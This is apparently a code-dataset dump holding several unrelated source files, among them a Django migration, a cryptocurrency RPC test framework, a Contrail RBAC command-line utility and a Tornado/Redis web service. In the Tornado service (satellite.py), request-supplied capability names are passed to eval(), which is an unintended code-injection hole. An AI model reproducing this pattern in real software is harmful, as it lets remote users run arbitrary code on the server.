blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
281
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
6
116
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
313 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
18.2k
668M
star_events_count
int64
0
102k
fork_events_count
int64
0
38.2k
gha_license_id
stringclasses
17 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
107 values
src_encoding
stringclasses
20 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
4
6.02M
extension
stringclasses
78 values
content
stringlengths
2
6.02M
authors
listlengths
1
1
author
stringlengths
0
175
af9e6bd4abe4b2dcb697a14bb3d04f04c3d8c514
b13c119cb96fe399e466731ab5db3f889af3492c
/book_catalog/migrations/0018_auto_20210103_1625.py
2efe2442ef53932bc852f9297be0576456c1ea88
[ "MIT" ]
permissive
shayweitzman/MyAutoBook
39deb85cb068c7c1e20c7cd9ce126bbd3391ce93
b5451e6d2db07c839b61802f94b57824a6b17da8
refs/heads/master
2023-02-25T19:17:56.430243
2021-02-04T14:02:59
2021-02-04T14:02:59
335,971,255
0
0
null
null
null
null
UTF-8
Python
false
false
369
py
# Generated by Django 3.1.3 on 2021-01-03 14:25 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('book_catalog', '0017_book_isdamaged'), ] operations = [ migrations.RenameField( model_name='book', old_name='isdamaged', new_name='Is_Damaged', ), ]
[ "shaywe@ac.sce.ac.il" ]
shaywe@ac.sce.ac.il
7b6db324523ed356f5a34ab14aeb9ef09069d341
fce91f0d47a6d13122bcaabec071229678d91676
/qa/rpc-tests/test_framework/test_framework.py
40902b459e19adb560a4b21a9f98e4a642ecc131
[ "MIT" ]
permissive
animuscoin/animus
fe0c49dbdd7a2cb172f8572264535c8c7de3aed1
518567dfefe21be5403acaf05523b598691191c6
refs/heads/master
2020-03-17T05:23:06.502435
2018-05-14T13:53:03
2018-05-14T13:53:03
133,314,527
1
0
null
null
null
null
UTF-8
Python
false
false
6,736
py
#!/usr/bin/env python2 # Copyright (c) 2014-2015 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # Base class for RPC testing # Add python-bitcoinrpc to module search path: import os import sys import shutil import tempfile import traceback from .util import ( initialize_chain, assert_equal, start_nodes, connect_nodes_bi, sync_blocks, sync_mempools, stop_nodes, wait_bitcoinds, enable_coverage, check_json_precision, initialize_chain_clean, ) from .authproxy import AuthServiceProxy, JSONRPCException class BitcoinTestFramework(object): # These may be over-ridden by subclasses: def run_test(self): for node in self.nodes: assert_equal(node.getblockcount(), 200) assert_equal(node.getbalance(), 25*500) def add_options(self, parser): pass def setup_chain(self): print("Initializing test directory "+self.options.tmpdir) initialize_chain(self.options.tmpdir) def setup_nodes(self): return start_nodes(4, self.options.tmpdir) def setup_network(self, split = False): self.nodes = self.setup_nodes() # Connect the nodes as a "chain". This allows us # to split the network between nodes 1 and 2 to get # two halves that can work on competing chains. # If we joined network halves, connect the nodes from the joint # on outward. This ensures that chains are properly reorganised. if not split: connect_nodes_bi(self.nodes, 1, 2) sync_blocks(self.nodes[1:3]) sync_mempools(self.nodes[1:3]) connect_nodes_bi(self.nodes, 0, 1) connect_nodes_bi(self.nodes, 2, 3) self.is_network_split = split self.sync_all() def split_network(self): """ Split the network of four nodes into nodes 0/1 and 2/3. """ assert not self.is_network_split stop_nodes(self.nodes) wait_bitcoinds() self.setup_network(True) def sync_all(self): if self.is_network_split: sync_blocks(self.nodes[:2]) sync_blocks(self.nodes[2:]) sync_mempools(self.nodes[:2]) sync_mempools(self.nodes[2:]) else: sync_blocks(self.nodes) sync_mempools(self.nodes) def join_network(self): """ Join the (previously split) network halves together. """ assert self.is_network_split stop_nodes(self.nodes) wait_bitcoinds() self.setup_network(False) def main(self): import optparse parser = optparse.OptionParser(usage="%prog [options]") parser.add_option("--nocleanup", dest="nocleanup", default=False, action="store_true", help="Leave animusds and test.* datadir on exit or error") parser.add_option("--noshutdown", dest="noshutdown", default=False, action="store_true", help="Don't stop animusds after the test execution") parser.add_option("--srcdir", dest="srcdir", default="../../src", help="Source directory containing animusd/animus-cli (default: %default)") parser.add_option("--tmpdir", dest="tmpdir", default=tempfile.mkdtemp(prefix="test"), help="Root directory for datadirs") parser.add_option("--tracerpc", dest="trace_rpc", default=False, action="store_true", help="Print out all RPC calls as they are made") parser.add_option("--coveragedir", dest="coveragedir", help="Write tested RPC commands into this directory") self.add_options(parser) (self.options, self.args) = parser.parse_args() if self.options.trace_rpc: import logging logging.basicConfig(level=logging.DEBUG) if self.options.coveragedir: enable_coverage(self.options.coveragedir) os.environ['PATH'] = self.options.srcdir+":"+self.options.srcdir+"/qt:"+os.environ['PATH'] check_json_precision() success = False try: if not os.path.isdir(self.options.tmpdir): os.makedirs(self.options.tmpdir) self.setup_chain() self.setup_network() self.run_test() success = True except JSONRPCException as e: print("JSONRPC error: "+e.error['message']) traceback.print_tb(sys.exc_info()[2]) except AssertionError as e: print("Assertion failed: "+ str(e)) traceback.print_tb(sys.exc_info()[2]) except Exception as e: print("Unexpected exception caught during testing: " + repr(e)) traceback.print_tb(sys.exc_info()[2]) if not self.options.noshutdown: print("Stopping nodes") stop_nodes(self.nodes) wait_bitcoinds() else: print("Note: animusds were not stopped and may still be running") if not self.options.nocleanup and not self.options.noshutdown: print("Cleaning up") shutil.rmtree(self.options.tmpdir) if success: print("Tests successful") sys.exit(0) else: print("Failed") sys.exit(1) # Test framework for doing p2p comparison testing, which sets up some bitcoind # binaries: # 1 binary: test binary # 2 binaries: 1 test binary, 1 ref binary # n>2 binaries: 1 test binary, n-1 ref binaries class ComparisonTestFramework(BitcoinTestFramework): # Can override the num_nodes variable to indicate how many nodes to run. def __init__(self): self.num_nodes = 2 def add_options(self, parser): parser.add_option("--testbinary", dest="testbinary", default=os.getenv("ANSD", "animusd"), help="bitcoind binary to test") parser.add_option("--refbinary", dest="refbinary", default=os.getenv("ANSD", "animusd"), help="bitcoind binary to use for reference nodes (if any)") def setup_chain(self): print "Initializing test directory "+self.options.tmpdir initialize_chain_clean(self.options.tmpdir, self.num_nodes) def setup_network(self): self.nodes = start_nodes( self.num_nodes, self.options.tmpdir, extra_args=[['-debug', '-whitelist=127.0.0.1']] * self.num_nodes, binary=[self.options.testbinary] + [self.options.refbinary]*(self.num_nodes-1))
[ "peanua@gmail.com" ]
peanua@gmail.com
6b7257ba5127367668d0f729c4c4ea950ad85e19
422383c9862d10ef6c0907fa7b6fda29a3951110
/satellite.py
2a3009b2d875f2d41c79a99040fd6271e95e2e70
[]
no_license
ypodim/brin.gy
1c861a3dac7cedf8c71cd621450a977627df58a7
8957733abc79edf11c5ed73f9789dd8d75522f64
refs/heads/master
2020-04-15T23:22:01.114584
2012-04-09T21:17:40
2012-04-09T21:17:40
2,501,542
4
0
null
null
null
null
UTF-8
Python
false
false
12,791
py
#!/usr/bin/python # -*- coding: utf-8 -*- import tornado.httpserver import tornado.ioloop import tornado.web import tornado.escape import sys, os, time, random from optparse import OptionParser from capability import * import redis CAPS = ['buysell','location','profile'] class Statistics: statistics = dict(hit_rate=0, last_measurement=0, interval=5, hits=0) def hit(self): self.statistics['hits'] += 1 diff = time.time() - self.statistics['last_measurement'] if diff > self.statistics['interval']: self.statistics['hit_rate'] = 1.0 * self.statistics['hits'] / diff self.statistics['hits'] = 0 self.statistics['last_measurement'] = time.time() print 'stats', self.statistics['hit_rate'] class serve_request(tornado.web.RequestHandler): cap = '' error = '' def initialize(self): path = tornado.escape.url_unescape(self.request.uri) path = path.split('?')[0].split('/')[1:] self.path = path[1:] self.cap = path[0] def options(self): self.write({}) def prepare(self): statistics.hit() self.start_time = time.time() self.set_header('Access-Control-Allow-Origin', '*') self.set_header('Access-Control-Allow-Methods', 'GET,POST,DELETE,OPTIONS') self.set_header('Content-Type','application/json; charset=UTF-8') if self.cap not in CAPS: self.error = '%s is not a valid capability' % self.cap print '%s: %s' % (self.request.headers.get('X-Real-Ip'), self.request.uri) return if self.request.body: args = [x.split('=') for x in self.request.body.split('&')] params = dict(args) else: params = {} for k,v in self.request.arguments.items(): params[k] = v[-1] self.params = params def options(self): self.finilize_call({}) def get(self): res = {} if not self.error: cap = eval('%s' % self.cap)(r) arguments = tornado.escape.url_unescape(self.get_argument('data', '')) res = cap.get(self.path, self.request.arguments) self.finilize_call(res) def post(self): cap = eval('%s' % self.cap)(r) agents = self.params.get('agents') if agents: agents = tornado.escape.url_unescape(agents) agents = tornado.escape.json_decode(agents) else: agent = self.params.get('agent') if agent: agents = {agent:self.params} else: response = dict(error='*** Post error: No valid "agent" or "agents" param') #print response #print self.params self.finilize_call(response) return response = dict(agents={}, cap=self.cap) for agent, params in agents.items(): #agent = tornado.escape.url_unescape(agent) res = {} if self.cap == 'location': #print params aid = params.get('agent') quantsize = 0.000005 lat = float(params.get('lat')) lat = lat - lat % quantsize lon = float(params.get('lon')) lon = lon - lon % quantsize thres = params.get('threshold') res['matched'] = cap.mutate(aid, lat, lon, thres) if self.cap == 'profile': for key, val in params: #res['matched'] = cap.mutate(agent, key, val) #res['matched'] = cap.set(agent, key, val) cap.set(agent, key, val) if self.cap == 'buysell': for key, val in params: dic = tornado.escape.json_decode(val) #print dic res['matched'] = cap.mutate(dic['action'], dic['product'], dic['price'], agent) response['agents'][agent] = res self.finilize_call(response) def delete(self): self.finilize_call({}) def finilize_call(self, dic): rtime = time.time() - self.start_time dic.__setitem__('response_time', rtime) dic.__setitem__('error', dic.get('error',self.error)) self.write(dic) class stats(tornado.web.RequestHandler): def options(self): self.write({}) def prepare(self): statistics.hit() self.start_time = time.time() self.set_header('Access-Control-Allow-Origin', '*') self.set_header('Access-Control-Allow-Methods', 'GET,POST,DELETE,OPTIONS') self.set_header('Access-Control-Allow-Headers', 'X-Requested-With') self.set_header('Content-Type','application/json; charset=UTF-8') def get(self): #keys = r.smembers('profile:keys') zkey = 'profile:all:keys' keys = r.zrevrangebyscore(zkey, '+inf', '-inf') or [] vals = 0 for k in keys: #vals += r.scard('profile:key:%s' % k) vals += r.zscore('profile:all:keys', k) dic = dict(churn=self.churn(), users=r.scard('users'), keys=len(keys), values=vals) self.write(dic) def churn(self): dic = {} for cap in ['profile','location']: if cap not in dic: dic[cap] = {} for key in r.smembers('churn:%s:keys' % cap): if key not in dic[cap]: dic[cap][key] = {} for val in r.smembers('churn:%s:%s:vals' % (cap, key)): add = r.get('churn:%s:%s:%s:add' % (cap, key, val)) rem = r.get('churn:%s:%s:%s:rem' % (cap, key, val)) dic[cap][key][val] = dict(add=add, rem=rem) return dic class multimatch(tornado.web.RequestHandler): error = '' def options(self): self.write({}) def prepare(self): statistics.hit() self.start_time = time.time() self.set_header('Access-Control-Allow-Origin', '*') self.set_header('Access-Control-Allow-Methods', 'GET,POST,DELETE,OPTIONS') self.set_header('Access-Control-Allow-Headers', 'X-Requested-With') self.set_header('Content-Type','application/json; charset=UTF-8') if self.request.body: args = [x.split('=') for x in self.request.body.split('&')] params = dict(args) else: params = {} for k,v in self.request.arguments.items(): params[k] = v[-1] self.params = params def get(self): self.post() def post(self): matches = [] arguments = self.get_argument('data', '') context = self.get_argument('context', 'all') print context #print #print self.request #print escaped_data #arguments = tornado.escape.url_unescape(escaped_data) #print arguments arguments = json.loads(arguments) #matchreqs = [x for x in arguments if x[2]] #if matchreqs: #print #print matchreqs #print #print arguments for capname, key, val in arguments: innerstart = time.time() try: cap = eval('%s' % capname)(r) except Exception, e: self.error = '%s' % e continue if capname == 'profile': dic = cap.get_count(context, key, val) else: dic = cap.get_count(key, val) matches.append([capname, key, val, dic['count'], dic['matches']]) #if capname == 'location': #print 'entry completed in ', time.time()-innerstart #print '-%s- -%s- %s %s' % (key, val, dic['count'], len(dic['matches'])) dic = dict(matches=matches, error=self.error, count=0) dic.__setitem__('response_time', time.time() - self.start_time) dic.__setitem__('error', dic.get('error',self.error)) #print 'response_time', dic['response_time'], [type(x) for x in matches] self.write(dic) class randomstat(tornado.web.RequestHandler): def options(self): self.write({}) def prepare(self): statistics.hit() self.start_time = time.time() self.set_header('Access-Control-Allow-Origin', '*') self.set_header('Access-Control-Allow-Methods', 'GET,POST,DELETE,OPTIONS') self.set_header('Access-Control-Allow-Headers', 'X-Requested-With') self.set_header('Content-Type','application/json; charset=UTF-8') def get(self): kvlist = [] while not kvlist: keys = r.zrevrangebyscore('profile:all:keys', '+inf', 2, withscores=True) or [] key, score = random.choice(keys) zkey = 'profile:all:key:%s:values' % key kvlist = r.zrevrangebyscore(zkey, '+inf', 2, withscores=True) or [] val, score = random.choice(kvlist) res = dict(key=key, val=val, score=score) self.write(res) class contexts(tornado.web.RequestHandler): def options(self): self.write({}) def prepare(self): statistics.hit() self.start_time = time.time() self.set_header('Access-Control-Allow-Origin', '*') self.set_header('Access-Control-Allow-Methods', 'GET,POST,DELETE,OPTIONS') self.set_header('Access-Control-Allow-Headers', 'X-Requested-With') self.set_header('Content-Type','application/json; charset=UTF-8') def get(self): user = self.get_argument('user','') dic = dict(contexts=[]) contexts=list(r.smembers('contexts')) for c in contexts: count = r.scard('context:%s' % c) context = dict(name=c, count=count) if user: context['userhasit'] = r.sismember('context:%s' % c, user) dic['contexts'].append(context) self.write(dic) class GarbageC(): def __init__(self): self.last_post = dict(location=0, profile=0, buysell=0) self.timeouts = dict(location=5, profile=5, buysell=2) def execute(self): now = time.time() #if now - self.last_post['location'] > self.timeouts['location']: #location.lat.cleanup(self.timeouts['location']) #location.lon.cleanup(self.timeouts['location']) #self.last_post['location'] = now #if now - self.last_post['profile'] > self.timeouts['profile']: #profile.props.cleanup(self.timeouts['profile']) #self.last_post['profile'] = now #if now - self.last_post['buysell'] > self.timeouts['buysell']: #buysell.action.cleanup(self.timeouts['buysell']) #buysell.product.cleanup(self.timeouts['buysell']) #buysell.price.cleanup(self.timeouts['buysell']) #self.last_post['buysell'] = now ######################################### settings = { "debug": os.environ.get("SERVER_SOFTWARE", "").startswith("Development/"), "static_path": os.path.join(os.path.dirname(__file__), "static",), } application = tornado.web.Application([ (r"/multimatch", multimatch), (r"/stats", stats), (r"/randomstat", randomstat), (r"/contexts", contexts), (r"/.+", serve_request), ], **settings) if __name__ == "__main__": statistics = Statistics() r = redis.Redis(host='localhost', port=6379, db=0) #profile = Profile(r) #location = Location(r) #buysell = Buysell(r) #gc = GarbageC() parser = OptionParser(add_help_option=False) parser.add_option("-h", "--host", dest="host", default='') parser.add_option("-p", "--port", dest="port", default='22222') (options, args) = parser.parse_args() HOST = options.host PORT = int(options.port) mode = '' if settings['debug']: mode = '(debug)' print 'Satellite running at %s:%s %s' % (HOST,PORT,mode) http_server = tornado.httpserver.HTTPServer(application) http_server.listen(PORT, address=HOST) ioloop = tornado.ioloop.IOLoop.instance() #gccaller = tornado.ioloop.PeriodicCallback(gc.execute, 1000, ioloop) #gccaller.start() try: ioloop.start() except: print 'exiting'
[ "ypodim@gmail.com" ]
ypodim@gmail.com
50bee84349089e1aa4828f68a88a6d8a89dfdf41
568d7d17d09adeeffe54a1864cd896b13988960c
/month01/day07/exercise05.py
3493424818067ec8a5a6e612d415a224bd930150
[ "Apache-2.0" ]
permissive
Amiao-miao/all-codes
e2d1971dfd4cecaaa291ddf710999f2fc4d8995f
ec50036d42d40086cac5fddf6baf4de18ac91e55
refs/heads/main
2023-02-24T10:36:27.414153
2021-02-01T10:51:55
2021-02-01T10:51:55
334,908,634
1
0
null
null
null
null
UTF-8
Python
false
false
723
py
dict_travel_info = { "北京": { "景区": ["长城", "故宫"], "美食": ["烤鸭", "豆汁焦圈", "炸酱面"] }, "四川": { "景区": ["九寨沟", "峨眉山"], "美食": ["火锅", "兔头"] } } #1.打印北京的第一个景区 print(dict_travel_info["北京"]["景区"][0]) # 打印四川的第二个美食 print(dict_travel_info["四川"]["美食"][1]) # 2. 所有城市 (一行一个) for key in dict_travel_info: print(key) #3.北京所有美食(一行一个) for i in dict_travel_info["北京"]["美食"]: print(i) # 4.打印所有城市的所有美食(一行一个) for value in dict_travel_info.values(): for v in value["美食"]: print(v)
[ "895854566@qq.com" ]
895854566@qq.com
d82c3dcf0fdf6c474665923a13598ff0c86c1f82
b916cce1d6a3e2d5bd01dee9f128c25be077eb10
/PracticaP/Pentagram/admin.py
f71531f0aafe47bf6bfa1adb0fcea9eb95040bbb
[]
no_license
PaulPanait/Repos
c763225d825241855e4862f3fcb1d805659ce197
77fa6b517d0ad55b04f87d1efeb4bc256106b98b
refs/heads/master
2021-01-20T20:31:54.404217
2016-07-26T10:01:19
2016-07-26T10:01:19
64,210,408
0
1
null
null
null
null
UTF-8
Python
false
false
195
py
from django.contrib import admin # Register your models here. from Pentagram.models import Photo, Comment, Like admin.site.register(Photo) admin.site.register(Comment) admin.site.register(Like)
[ "paulpanait93@gmail.com" ]
paulpanait93@gmail.com
19d8978fecb310636b6db9dc5182a2863810b9a9
6d871334260c1b7f8d087dfd8ca6e2fe0c4f0307
/01-operacoes.py
a248fed695c0adb10aaf06ff978bc21822362298
[]
no_license
competcoce/python-intro
0dcffd27afd12ff2c29c6541669458fe92b32339
b6995f73ef8b9a664de8142bec1c0cb2ba3b4590
refs/heads/master
2016-09-06T13:15:40.388837
2015-03-04T12:19:20
2015-03-04T12:19:20
31,655,461
0
0
null
null
null
null
UTF-8
Python
false
false
334
py
# coding: utf-8 # Operações #Soma # r = 1 + 1 # print r #Subtração # r = 1 - 2 # print r #Multiplicação # r = 2*2 # print r #Divisão 01 # r = 2/3 # print r #Divisão 02 # r = 2/3 # print r #Resto - par # r = 2%2 # print r #Resto - impar # r = 3%2 # print r #Potência # r = 3**6 # print r #Raiz # r = 4**1/2 # print r
[ "gustavokira@gmail.com" ]
gustavokira@gmail.com
1d272018d3ab808c4476b38fbcf7bd7a62ec4f2d
feb318908fd6a747f3c39d7ae75133ac33ba55c3
/src/config/utils/rbacutil.py
e4f1f4b6d1518daebcb985dcd8d2f1eeb59513c6
[ "Apache-2.0", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
zhujunhui/contrail-controller
fc076ff94d361c6572cedeb3411d802edb208541
d03019ade541b9e9e665d0b9da0ec36ae6842082
refs/heads/master
2021-01-18T03:55:14.603612
2015-12-15T23:52:04
2015-12-15T23:52:04
48,093,859
1
0
null
2015-12-16T07:10:00
2015-12-16T07:10:00
null
UTF-8
Python
false
false
12,604
py
# # Copyright (c) 2013 Juniper Networks, Inc. All rights reserved. # # Util to manage RBAC group and rules (add, delete etc)", # import argparse import uuid as __uuid import os import re from vnc_api.vnc_api import * from vnc_api.gen.resource_xsd import * from cfgm_common.exceptions import * example_usage = \ """ Examples: --------- Read RBAC group using UUID or FQN python rbacutil.py --uuid 'b27c3820-1d5f-4bfd-ba8b-246fefef56b0' --op read python rbacutil.py --name 'default-domain:default-api-access-list' --op read Create RBAC group using FQN or UUID or parent domain/project python rbacutil.py --uuid 696de19995ff4359882afd18bb6dfecf --op create python rbacutil.py --fq_name 'default-domain:my-api-access-list' --op create Delete RBAC group using FQN or UUID python rbacutil.py --name 'default-domain:foobar' --op delete python rbacutil.py --uuid 71ef050f-3487-47e1-b628-8b0949530bee --op delete Add rule to existing RBAC group python rbacutil.py --uuid <uuid> --rule "* Member:R" --op add-rule python rbacutil.py --uuid <uuid> --rule "useragent-kv *:CRUD" --op add-rule Delete rule from RBAC group - specify rule number or exact rule python rbacutil.py --uuid <uuid> --rule 2 --op del-rule python rbacutil.py --uuid <uuid> --rule "useragent-kv *:CRUD" --op del-rule """ def show_rbac_rules(api_access_list_entries): if api_access_list_entries is None: print 'Empty RBAC group!' return # {u'rbac_rule': [{u'rule_object': u'*', u'rule_perms': [{u'role_crud': u'CRUD', u'role_name': u'admin'}], u'rule_field': None}]} rule_list = api_access_list_entries.get_rbac_rule() print 'Rules (%d):' % len(rule_list) print '----------' idx = 1 for rule in rule_list: o = rule.rule_object f = rule.rule_field ps = '' for p in rule.rule_perms: ps += p.role_name + ':' + p.role_crud + ',' o_f = "%s.%s" % (o,f) if f else o print '%2d %-32s %s' % (idx, o_f, ps) idx += 1 print '' # end # match two rules (type RbacRuleType) # r1 is operational, r2 is part of rbac group # return (obj_type & Field match, rule is subset of existing rule, match index, merged rule def match_rule(r1, r2): if r1.rule_object != r2.rule_object: return None if r1.rule_field != r2.rule_field: return None s1 = set(r.role_name+":"+r.role_crud for r in r1.rule_perms) s2 = set(r.role_name+":"+r.role_crud for r in r2.rule_perms) return [True, s1<=s2, s2-s1, s2|s1] # end # check if rule already exists in rule list and returns its index if it does def find_rule(rge, rule): idx = 1 for r in rge.rbac_rule: m = match_rule(rule, r) if m: m[0] = idx return m idx += 1 return None # end def build_perms(rule, perm_set): rule.rule_perms = [] for perm in perm_set: p = perm.split(":") rule.rule_perms.append(RbacPermType(role_name = p[0], role_crud = p[1])) # end # build rule object from string form # "useragent-kv *:CRUD" (Allow all operation on /useragent-kv API) def build_rule(rule_str): r = rule_str.split(" ") if rule_str else [] if len(r) < 2: return None # [0] is object.field, [1] is list of perms obj_field = r[0].split(".") perms = r[1].split(",") o = obj_field[0] f = obj_field[1] if len(obj_field) > 1 else None o_f = "%s.%s" % (o,f) if f else o print 'rule: %s %s' % (o_f, r[1]) # perms eg ['foo:CRU', 'bar:CR'] rule_perms = [] for perm in perms: p = perm.split(":") rule_perms.append(RbacPermType(role_name = p[0], role_crud = p[1])) # build rule rule = RbacRuleType( rule_object = o, rule_field = f, rule_perms = rule_perms) return rule #end # Read VNC object. Return None if object doesn't exists def vnc_read_obj(vnc, obj_type, fq_name): method_name = obj_type.replace('-', '_') method = getattr(vnc, "%s_read" % (method_name)) try: return method(fq_name=fq_name) except NoIdError: print '%s %s not found!' % (obj_type, fq_name) return None # end class VncRbac(): def parse_args(self): # Eg. python vnc_op.py VirtualNetwork # domain:default-project:default-virtual-network parser = argparse.ArgumentParser( description="Util to manage RBAC group and rules", formatter_class=argparse.RawDescriptionHelpFormatter, epilog = example_usage) parser.add_argument( '--server', help="API server address in the form IP:Port", default = '127.0.0.1:8082') valid_ops = ['read', 'add-rule', 'del-rule', 'create', 'delete'] parser.add_argument( '--op', choices = valid_ops, help="Operation to perform") parser.add_argument( '--name', help="colon seperated fully qualified name") parser.add_argument('--uuid', help="object UUID") parser.add_argument('--user', help="User Name") parser.add_argument('--role', help="Role Name") parser.add_argument('--rule', help="Rule to add or delete") parser.add_argument( '--on', help="Enable RBAC", action="store_true") parser.add_argument( '--off', help="Disable RBAC", action="store_true") parser.add_argument( '--os-username', help="Keystone User Name", default=None) parser.add_argument( '--os-password', help="Keystone User Password", default=None) parser.add_argument( '--os-tenant-name', help="Keystone Tenant Name", default=None) self.args = parser.parse_args() self.opts = vars(self.args) # end parse_args def get_ks_var(self, name): uname = name.upper() cname = '-'.join(name.split('_')) if self.opts['os_%s' % (name)]: value = self.opts['os_%s' % (name)] return (value, '') rsp = '' try: value = os.environ['OS_' + uname] if value == '': value = None except KeyError: value = None if value is None: rsp = 'You must provide a %s via either --os-%s or env[OS_%s]' % ( name, cname, uname) return (value, rsp) # end vnc_op = VncRbac() vnc_op.parse_args() # Validate API server information server = vnc_op.args.server.split(':') if len(server) != 2: print 'API server address must be of the form ip:port, '\ 'for example 127.0.0.1:8082' sys.exit(1) # Validate keystone credentials conf = {} for name in ['username', 'password', 'tenant_name']: val, rsp = vnc_op.get_ks_var(name) if val is None: print rsp sys.exit(1) conf[name] = val username = conf['username'] password = conf['password'] tenant_name = conf['tenant_name'] obj_type = 'api-access-list' if vnc_op.args.on and vnc_op.args.off: print 'Only one of --on or --off must be specified' sys.exit(1) ui = {} if vnc_op.args.user: ui['user'] = vnc_op.args.user if vnc_op.args.role: ui['role'] = vnc_op.args.role if ui: print 'Sending user, role as %s/%s' % (vnc_op.args.user, vnc_op.args.role) vnc = VncApi(username, password, tenant_name, server[0], server[1], user_info=ui) url = '/multi-tenancy-with-rbac' if vnc_op.args.on or vnc_op.args.off: data = {'enabled': vnc_op.args.on} try: rv = vnc._request_server(rest.OP_PUT, url, json.dumps(data)) except vnc_api.common.exceptions.PermissionDenied: print 'Permission denied' sys.exit(1) elif vnc_op.args.uuid and vnc_op.args.name: print 'Only one of uuid and fqname should be specified' sys.exit(1) try: rv_json = vnc._request_server(rest.OP_GET, url) rv = json.loads(rv_json) print 'Rbac is %s' % ('enabled' if rv['enabled'] else 'disabled') except Exception as e: print str(e) print '*** Rbac not supported' sys.exit(1) if not vnc_op.args.uuid and not vnc_op.args.name: sys.exit(1) uuid = vnc_op.args.uuid # transform uuid if needed if uuid and '-' not in uuid: uuid = str(__uuid.UUID(uuid)) fq_name = vnc.id_to_fq_name(uuid) if uuid else vnc_op.args.name.split(':') print '' print 'Oper = ', vnc_op.args.op print 'Name = %s' % fq_name print 'UUID = %s' % uuid print 'API Server = ', vnc_op.args.server print '' if vnc_op.args.op == 'create': # given uuid of domain or parent if vnc_op.args.uuid: fq_name.append('default-api-access-list') elif len(fq_name) != 2 and len(fq_name) != 3: print 'Fully qualified name of rbac group expected' print '<domain>:<rback-group> or <domain>:<project>:<api-access-list>' sys.exit(1) name = fq_name[-1] if len(fq_name) == 2: pobj = vnc.domain_read(fq_name = fq_name[0:1]) else: pobj = vnc.project_read(fq_name = fq_name[0:2]) ans = raw_input("Create %s, confirm (y/n): " % fq_name) if not ans or ans[0].lower() != 'y': sys.exit(0) #rentry = None #rule = RbacRuleType() #rentry = RbacRuleEntriesType([rule]) rentry = RbacRuleEntriesType([]) rg = ApiAccessList(name, parent_obj = pobj, api_access_list_entries = rentry) vnc.api_access_list_create(rg) rg2 = vnc.api_access_list_read(fq_name = fq_name) rge = rg.get_api_access_list_entries() show_rbac_rules(rge) elif vnc_op.args.op == 'delete': if len(fq_name) != 2 and len(fq_name) != 3: print 'Fully qualified name of rbac group expected' print '<domain>:<rback-group> or <domain>:<project>:<api-access-list>' sys.exit(1) name = fq_name[-1] rg = vnc_read_obj(vnc, 'api-access-list', fq_name) if rg == None: sys.exit(1) rge = rg.get_api_access_list_entries() show_rbac_rules(rge) ans = raw_input("Confirm (y/n): ") if not ans or ans[0].lower() != 'y': sys.exit(0) vnc.api_access_list_delete(fq_name = fq_name) elif vnc_op.args.op == 'read': rg = vnc_read_obj(vnc, 'api-access-list', fq_name) if rg == None: sys.exit(1) show_rbac_rules(rg.get_api_access_list_entries()) elif vnc_op.args.op == 'add-rule': rule = build_rule(vnc_op.args.rule) if rule is None: print 'A rule string must be specified for this operation' print 'rule format: <resource>.<field> role1:<crud1>,role2:<crud2>' print 'eg * admin:CRUD' print 'eg virtual-network admin:CRUD' print 'eg virtual-network.subnet admin:CRUD,member:R' sys.exit(1) # rbac rule entry consists of one or more rules rg = vnc.api_access_list_read(fq_name = fq_name) rge = rg.get_api_access_list_entries() if rge is None: rge = RbacRuleEntriesType([]) show_rbac_rules(rge) # avoid duplicates match = find_rule(rge, rule) if not match: rge.add_rbac_rule(rule) elif len(match[2]): print 'Rule already exists at position %d. Not adding' % match[0] sys.exit(1) else: build_perms(rge.rbac_rule[match[0]-1], match[3]) show_rbac_rules(rge) ans = raw_input("Confirm (y/n): ") if not ans or ans[0].lower() != 'y': sys.exit(0) rg.set_api_access_list_entries(rge) vnc.api_access_list_update(rg) elif vnc_op.args.op == 'del-rule': if vnc_op.args.rule is None: print 'A rule string must be specified for this operation' print 'Rule format: <resource>.<field> role1:<crud1>,role2:<crud2>' print 'eg virtual-network admin:CRUD' print 'eg virtual-network.subnet admin:CRUD,member:R' sys.exit(1) rg = vnc.api_access_list_read(fq_name = fq_name) rge = rg.get_api_access_list_entries() show_rbac_rules(rge) del_idx = re.match("^[0-9]+$", vnc_op.args.rule) if del_idx: del_idx = int(del_idx.group()) rc = len(rge.rbac_rule) if del_idx > rc or del_idx < 1: print 'Invalid rule index to delete. Value must be 1-%d' % rc sys.exit(1) rule = build_rule(vnc_op.args.rule) match = find_rule(rge, rule) if not match or not match[1]: print 'Rule not found. Unchanged' sys.exit(1) elif match[1]: rge.rbac_rule.pop(match[0]-1) else: build_perms(rge.rbac_rule[match[0]-1], match[2]) show_rbac_rules(rge) ans = raw_input("Confirm (y/n): ") if not ans or ans[0].lower() != 'y': sys.exit(0) rg.set_api_access_list_entries(rge) vnc.api_access_list_update(rg)
[ "dsetia@juniper.net" ]
dsetia@juniper.net
e5e3ff4485186df91657842fb85114991f10a0d5
013941b3bbc0d5c520be0ed2df140734f3af4f15
/voiceCommand/asgi.py
e644d3be1eb8aac3171f8d7aee94145c9f846cdd
[]
no_license
ayush380/Voice-Recognition
e313f9bc3a588254e19ff7bac16bfc0814865e78
b2678510a59fdb9d398a81eeecc3b24725e67573
refs/heads/main
2023-01-09T20:15:35.418681
2020-11-03T16:55:02
2020-11-03T16:55:02
309,749,461
0
0
null
null
null
null
UTF-8
Python
false
false
401
py
""" ASGI config for voiceCommand project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'voiceCommand.settings') application = get_asgi_application()
[ "ayush380@gmail.com" ]
ayush380@gmail.com
cb69e8b638a917546fb9bfc2214ec6c812e10454
dd225d2ffd07e8e5fbf0b841e83c6c12fd7610ef
/dynamicsettings/__init__.py
8686a3379e05f0a8fb846fffc2d8335b0ca7aee4
[ "MIT" ]
permissive
fopina/django-dynamicsettings
1e90761649538d9ade30bf36dfd46746f6bedeef
